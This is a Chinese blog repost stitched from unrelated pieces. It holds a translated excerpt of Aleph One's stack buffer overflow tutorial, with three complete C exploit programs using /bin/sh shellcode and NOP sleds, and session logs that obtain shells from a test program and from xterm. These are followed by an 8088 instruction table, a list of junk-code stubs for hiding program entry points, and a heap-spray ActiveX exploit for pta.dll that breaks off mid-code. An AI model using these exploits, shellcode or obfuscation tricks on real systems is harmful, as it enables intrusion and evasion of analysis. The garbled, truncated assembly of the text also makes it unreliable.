------------------------------------------------------------------------------

我們建立一個程式可以接受兩個引數, 一是緩衝區大小, 二是從其自身堆疊指標算起
的偏移量(這個堆疊指標指明瞭我們想要使其溢位的緩衝區所在的位置). 我們把溢位字元
串放到一個環境變數中, 這樣就容易操作一些.

exploit2.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512

char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%xn", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
現在我們嘗試猜測緩衝區的大小和偏移量:
------------------------------------------------------------------------------
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200
Using address: 0xbffffce8
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564
Using address: 0xbffff794
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

正如我們所看到的, 這並不是一個很有效率的過程. 即使知道了堆疊的起始地址, 嘗
試猜測偏移量也幾乎是不可能的. 我們很可能要試驗幾百次, 沒準幾千次也說不定. 問題
的關鍵在於我們必須*確切*地知道我們程式碼開始的地址. 如果偏差哪怕只有一個位元組我們
也只能得到段錯誤或非法指令錯誤. 提高成功率的一種方法是在我們溢位緩衝區的前段填
充NOP指令. 幾乎所有的處理器都有NOP指令執行空操作. 常用於延時目的. 我們利用它來
填充溢位緩衝區的前半段. 然後把shellcode放到中段, 之後是返回地址. 如果我們足夠
幸運的話, 返回地址指到NOPs字串的任何位置, NOP指令就會執行, 直到碰到我們的
shellcode. 在Intel體系結構中NOP指令只有一個位元組長, 翻譯為機器碼是0x90. 假定堆疊
的起始地址是0xFF, S代表shellcode, N代表NOP指令, 新的堆疊看起來是這樣:


記憶體低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 記憶體高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^ |
|_____________________|

堆疊頂端 堆疊底部

新的破解程式如下:

exploit3.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90

char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}

addr = get_sp() - offset;
printf("Using address: 0x%xn", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

我們所使用的緩衝區大小最好比要使其溢位的緩衝區大100位元組左右. 我們在要使其
溢位的緩衝區尾部放置shellcode, 為NOP指令留下足夠的空間, 仍然使用我們推測的地址
來覆蓋返回地址. 這裡我們要使其溢位的緩衝區大小是512位元組, 所以我們使用612位元組.
現在使用新的破解程式來使我們的測試程式溢位:

------------------------------------------------------------------------------
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
$
------------------------------------------------------------------------------

哇!一擊中的!這個改進成千倍地提高了我們的命中率. 下面在真實的環境中嘗試一
下緩衝區溢位. 在Xt庫上運用我們所講述的方法. 在例子中, 我們使用xterm(實際上所有
連線Xt庫的程式都有漏洞). 計算機上要執行X Server並且允許本地的連線. 還要相應設
置DISPLAY變數.


------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1?F
°

(此處截短多行輸出)
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1?F

(此處截短多行輸出)

縃????????????arning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: Color name "隵1?F

(此處截短多行輸出)

------------------------------------------------------------------------------

尤里卡! 僅僅幾次嘗試我們就成功了!如果xterm是帶suid root安裝的, 我們就已經
得到了一個root shell了.

小緩衝區的溢位
~~~~~~~~~~~~~~~~
有時候想使其溢位的緩衝區太小了, 以至於shellcode都放不進去, 這樣返回地址就
會被指令所覆蓋, 而不是我們所推測的地址, 或者shellcode是放進去了, 但是沒法填充
足夠多的NOP指令, 這樣推測地址的成功率就很低了. 要從這樣的程式(小緩衝區)裡得到
一個shell, 我們必須得想其他辦法. 下面介紹的這種方法只在能夠訪問程式的環境變數
時有效.

我們所做的就是把shellcode放到環境變數中去, 然後用這個變數在記憶體中的地址來
使緩衝區溢位. 這種方法同時也提高了破解工作的成功率, 因為儲存shellcode的環境變
量想要多大就有多大.

當程式開始時, 環境變數儲存在堆疊的頂部, 任何使用setenv()的修改動作會在其他
地方重新分配空間. 開始時的堆疊如下所示:

<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>

我們新的程式會使用一個額外的變數, 變數的大小能夠容納shellcode和NOP指令,
新的破解程式如下所示:

exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);


if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.n");
exit(0);
}

addr = get_esp() - offset;
printf("Using address: 0x%xn", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '';
egg[eggsize - 1] = '';

memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------

用這個新的破解程式來試試我們的漏洞測試程式:

------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
成功了, 再試試xterm:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
(此處截短多行輸出)
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------

一次成功! 它顯著提高了我們的成功率. 依賴於破解程式和被破解程式比較環境資料
的多少, 我們推測的地址可能高也可能低於真值. 正和負的偏移量都可以試一試.

尋找緩衝區溢位漏洞
~~~~~~~~~~~~~~~~~~~~~
如前所述, 緩衝區溢位是向一個緩衝區填充超過其處理能力的資訊造成的結果. 由於C
語言沒有任何內建的邊界檢查, 寫入一個字元陣列時, 如果超越了陣列的結尾就會造成溢
出. 標準C語言


8088彙編指令表
一、資料傳輸指令
───────────────────────────────────────
它們在存貯器和暫存器、暫存器和輸入輸出埠之間傳送資料.
1. 通用資料傳送指令.
MOV 傳送字或位元組.
MOVSX 先符號擴充套件,再傳送.
MOVZX 先零擴充套件,再傳送.
PUSH 把字壓入堆疊.
POP 把字彈出堆疊.
PUSHA 把AX,CX,DX,BX,SP,BP,SI,DI依次壓入堆疊.
POPA 把DI,SI,BP,SP,BX,DX,CX,AX依次彈出堆疊.
PUSHAD 把EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI依次壓入堆疊.
POPAD 把EDI,ESI,EBP,ESP,EBX,EDX,ECX,EAX依次彈出堆疊.
BSWAP 交換32位暫存器裡位元組的順序
XCHG 交換字或位元組.( 至少有一個運算元為暫存器,段暫存器不可作為運算元)
CMPXCHG 比較並交換運算元.( 第二個運算元必須為累加器AL/AX/EAX )
XADD 先交換再累加.( 結果在第一個運算元里 )
XLAT 位元組查錶轉換.
── BX 指向一張 256 位元組的表的起點, AL 為表的索引值 (0-255,即
0-FFH); 返回 AL 為查表結果. ( [BX+AL]->AL )
2. 輸入輸出埠傳送指令.
IN I/O埠輸入. ( 語法: IN 累加器, {埠號│DX} )
OUT I/O埠輸出. ( 語法: OUT {埠號│DX},累加器 )
輸入輸出埠由立即方式指定時, 其範圍是 0-255; 由暫存器 DX 指定時,
其範圍是 0-65535.
3. 目的地址傳送指令.
LEA 裝入有效地址.
例: LEA DX,string ;把偏移地址存到DX.
LDS 傳送目標指標,把指標內容裝入DS.
例: LDS SI,string ;把段地址:偏移地址存到DS:SI.
LES 傳送目標指標,把指標內容裝入ES.
例: LES DI,string ;把段地址:偏移地址存到ES:DI.
LFS 傳送目標指標,把指標內容裝入FS.
例: LFS DI,string ;把段地址:偏移地址存到FS:DI.
LGS 傳送目標指標,把指標內容裝入GS.
例: LGS DI,string ;把段地址:偏移地址存到GS:DI.
LSS 傳送目標指標,把指標內容裝入SS.
例: LSS DI,string ;把段地址:偏移地址存到SS:DI.
4. 標誌傳送指令.
LAHF 標誌暫存器傳送,把標誌裝入AH.
SAHF 標誌暫存器傳送,把AH內容裝入標誌暫存器.
PUSHF 標誌入棧.
POPF 標誌出棧.
PUSHD 32位標誌入棧.
POPD 32位標誌出棧.

二、算術運算指令
───────────────────────────────────────
  ADD 加法.
ADC 帶進位加法.
INC 加 1.
AAA 加法的ASCII碼調整.
DAA 加法的十進位制調整.
SUB 減法.
SBB 帶借位減法.
DEC 減 1.
NEC 求反(以 0 減之).
CMP 比較.(兩運算元作減法,僅修改標誌位,不回送結果).
AAS 減法的ASCII碼調整.
DAS 減法的十進位制調整.
MUL 無符號乘法.
IMUL 整數乘法.
以上兩條,結果回送AH和AL(位元組運算),或DX和AX(字運算),
AAM 乘法的ASCII碼調整.
DIV 無符號除法.
IDIV 整數除法.
以上兩條,結果回送:
商回送AL,餘數回送AH, (位元組運算);
或 商回送AX,餘數回送DX, (字運算).
AAD 除法的ASCII碼調整.
CBW 位元組轉換為字. (把AL中位元組的符號擴充套件到AH中去)
CWD 字轉換為雙字. (把AX中的字的符號擴充套件到DX中去)
CWDE 字轉換為雙字. (把AX中的字元號擴充套件到EAX中去)
CDQ 雙字擴充套件. (把EAX中的字的符號擴充套件到EDX中去)

三、邏輯運算指令
───────────────────────────────────────
  AND 與運算.
OR 或運算.
XOR 異或運算.
NOT 取反.
TEST 測試.(兩運算元作與運算,僅修改標誌位,不回送結果).
SHL 邏輯左移.
SAL 算術左移.(=SHL)
SHR 邏輯右移.
SAR 算術右移.(=SHR)
ROL 迴圈左移.
ROR 迴圈右移.
RCL 透過進位的迴圈左移.
RCR 透過進位的迴圈右移.
以上八種移位指令,其移位次數可達255次.
移位一次時, 可直接用操作碼. 如 SHL AX,1.
移位>1次時, 則由暫存器CL給出移位次數.
如 MOV CL,04
SHL AX,CL

四、串指令
───────────────────────────────────────
 DS:SI 源串段暫存器 :源串變址.
ES:DI 目標串段暫存器:目標串變址.
CX 重複次數計數器.
AL/AX 掃描值.
D標誌 0表示重複操作中SI和DI應自動增量; 1表示應自動減量.
Z標誌 用來控制掃描或比較操作的結束.
MOVS 串傳送.
( MOVSB 傳送字元. MOVSW 傳送字. MOVSD 傳送雙字. )
CMPS 串比較.
( CMPSB 比較字元. CMPSW 比較字. )
SCAS 串掃描.
把AL或AX的內容與目標串作比較,比較結果反映在標誌位.
LODS 裝入串.
把源串中的元素(字或位元組)逐一裝入AL或AX中.
( LODSB 傳送字元. LODSW 傳送字. LODSD 傳送雙字. )
STOS 儲存串.
是LODS的逆過程.
REP 當CX/ECX<>0時重複.
REPE/REPZ 當ZF=1或比較結果相等,且CX/ECX<>0時重複.
REPNE/REPNZ 當ZF=0或比較結果不相等,且CX/ECX<>0時重複.
REPC 當CF=1且CX/ECX<>0時重複.
REPNC 當CF=0且CX/ECX<>0時重複.

五、程式轉移指令
───────────────────────────────────────
 1>無條件轉移指令 (長轉移)
JMP 無條件轉移指令
CALL 過程呼叫
RET/RETF過程返回.
2>條件轉移指令 (短轉移,-128到+127的距離內)
( 當且僅當(SF XOR OF)=1時,OP1JA/JNBE 不小於或不等於時轉移.
JAE/JNB 大於或等於轉移.
JB/JNAE 小於轉移.
JBE/JNA 小於或等於轉移.
以上四條,測試無符號整數運算的結果(標誌C和Z).
JG/JNLE 大於轉移.
JGE/JNL 大於或等於轉移.
JL/JNGE 小於轉移.
JLE/JNG 小於或等於轉移.
以上四條,測試帶符號整數運算的結果(標誌S,O和Z).
JE/JZ 等於轉移.
JNE/JNZ 不等於時轉移.
JC 有進位時轉移.
JNC 無進位時轉移.
JNO 不溢位時轉移.
JNP/JPO 奇偶性為奇數時轉移.
JNS 符號位為 "0" 時轉移.
JO 溢位轉移.
JP/JPE 奇偶性為偶數時轉移.
JS 符號位為 "1" 時轉移.
3>迴圈控制指令(短轉移)
LOOP CX不為零時迴圈.
LOOPE/LOOPZ CX不為零且標誌Z=1時迴圈.
LOOPNE/LOOPNZ CX不為零且標誌Z=0時迴圈.
JCXZ CX為零時轉移.
JECXZ ECX為零時轉移.
4>中斷指令
INT 中斷指令
INTO 溢位中斷
IRET 中斷返回
5>處理器控制指令
HLT 處理器暫停, 直到出現中斷或復位訊號才繼續.
WAIT 當晶片引線TEST為高電平時使CPU進入等待狀態.
ESC 轉換到外處理器.
LOCK 封鎖匯流排.
NOP 空操作.
STC 置進位標誌位.
CLC 清進位標誌位.
CMC 進位標誌取反.
STD 置方向標誌位.
CLD 清方向標誌位.
STI 置中斷允許位.
CLI 清中斷允許位.

六、偽指令
───────────────────────────────────────
  DW 定義字(2位元組).
PROC 定義過程.
ENDP 過程結束.
SEGMENT 定義段.
ASSUME 建立段暫存器定址.
ENDS 段結束.
END 程式結束.
花指令大全

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
1。 VC++ 5.0
PUSH EBP
MOV EBP,ESP
PUSH -1
push 515448
PUSH 6021A8
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
ADD ESP,-6C
PUSH EBX
PUSH ESI
PUSH EDI
jmp 跳轉到程式原來的入口點

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
2。c ++
push ebp
mov ebp,esp
push -1
push 111111
push 222222
mov eax,fs:[0]
push eax
mov fs:[0],esp
pop eax
mov fs:[0],eax
pop eax
pop eax
pop eax
pop eax
mov ebp,eax
jmp 跳轉到程式原來的入口點

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
3。跳轉
somewhere:
nop /"胡亂"跳轉的開始...
jmp 下一個jmp的地址 /在附近隨意跳
jmp ... /...
jmp 原入口的地址 /跳到原始oep

--------------------------------------------------
新入口: push ebp
mov ebp,esp
inc ecx
push edx
nop
pop edx
dec ecx
pop ebp
inc ecx
loop somewhere /跳轉到上面那段程式碼地址去!

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
4。Microsoft Visual C++ 6.0

push ebp
mov ebp,esp
PUSH -1
PUSH 0
PUSH 0
MOV EAX,DWORD PTR FS:[0]
PUSH EAX
MOV DWORD PTR FS:[0],ESP
SUB ESP,68
PUSH EBX
PUSH ESI
PUSH EDI
POP EAX
POP EAX
POP EAX
ADD ESP,68
POP EAX
MOV DWORD PTR FS:[0],EAX
POP EAX
POP EAX
POP EAX
POP EAX
MOV EBP,EAX
JMP 原入口

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

5。
在mov ebp,eax
後面加上
PUSH EAX
POP EAX
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
6.
push ebp
mov ebp,esp
add esp,-0C
add esp,0C
mov eax,403D7D
push eax
retn

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
push ebp
mov ebp,esp
push -1
push 00411222
push 00411544
mov eax,dword ptr fs:[0]
push eax
mov dword ptr fs:[0],esp
add esp,-6C
push ebx
push esi
push edi
add byte ptr ds:[eax],al
jo 入口
jno 入口
call 下一地址

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
7.

push ebp
nop
nop
mov ebp,esp
inc ecx
nop
push edx
nop
nop
pop edx
nop
pop ebp
inc ecx
loop 任意地址
nop
nop

———————————————
nop
nop
jmp 下一個jmp的地址 /在附近隨意跳

nop
jmp 下一個jmp的地址 /在附近隨意跳

nop
jmp 下一個jmp的地址 /在附近隨意跳

jmp 入口

UPX 二進位制


漏洞存在於由ActiveX控制元件"pta.dll"匯出的"Remove()"函式中,相關資訊如下:

InprocServer32: pta.dll
ClassID : 66F50F46-70A0-4A05-BD5E-FBCC0F9641EC

[id(0x60030001), helpstring("method Remove")]
void Remove([in] int idx);

直接看Remove()函式的處理流程:

.text:10003D4E ; Remove
.text:10003D4E
.text:10003D4E sub_10003D4E proc near ; DATA XREF: .rdata:1000B3A4o
.text:10003D4E ; .rdata:1000B41Co ...
.text:10003D4E
.text:10003D4E arg_0 = dword ptr 4
.text:10003D4E arg_4 = dword ptr 8
.text:10003D4E
.text:10003D4E mov eax, [esp+arg_4]
.text:10003D52 test eax, eax
.text:10003D54 jl short loc_10003D78
.text:10003D56 push esi
.text:10003D57 mov esi, [esp+4+arg_0] ; get idx
.text:10003D5B shl eax, 4 ; idx << 4
.text:10003D5E add eax, [esi+8] ; [esi+8]=0
.text:10003D61 push edi ;
.text:10003D62 mov edi, eax ; idx << 4 ==>edi
.text:10003D64 mov eax, [edi+8] ; [(idx << 4)+8] ==>eax
.text:10003D67 push eax
.text:10003D68 mov ecx, [eax] ; [[(idx << 4)+8]]==>ecx
.text:10003D6A call dword ptr [ecx+8] ; [[[(idx << 4)+8]]+8]==>jmp addr
.text:10003D6D push edi
.text:10003D6E lea ecx, [esi+4]
.text:10003D71 call sub_10003F35
.text:10003D76 pop edi
.text:10003D77 pop esi
.text:10003D78
.text:10003D78 loc_10003D78: ; CODE XREF: sub_10003D4E+6j
.text:10003D78 xor eax, eax
.text:10003D7A retn 8
.text:10003D7A sub_10003D4E endp


idx是我們可以控制的,因此可以完成有意思的攻擊,比如我們設定的idx為0x41414141,程式會執行[[[14141410h+8]]+8]地址的程式碼。
測試方法:

警 告

以下程式(方法)可能帶有攻擊性,僅供安全研究與教學之用。使用者風險自負!
/************************************************************************************************
************************************************************************************************/





function ClickForRunCalc()
{
var heapSprayToAddress = 0x0d0d0d0d;

var payLoadCode = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090
%090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090"+
"%uE8FC%0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB
%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B
%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040
%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631
%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");

var heapBlockSize = 0x400000;

var payLoadSize = payLoadCode.length * 2;

var spraySlideSize = heapBlockSize - (payLoadSize+0x38);

var spraySlide = unescape("%u0d0d%u0d0d");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);

heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize;

memory = new Array();

for (i=0;i

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/219138/viewspace-915575/,如需轉載,請註明出處,否則將追究法律責任。

相關文章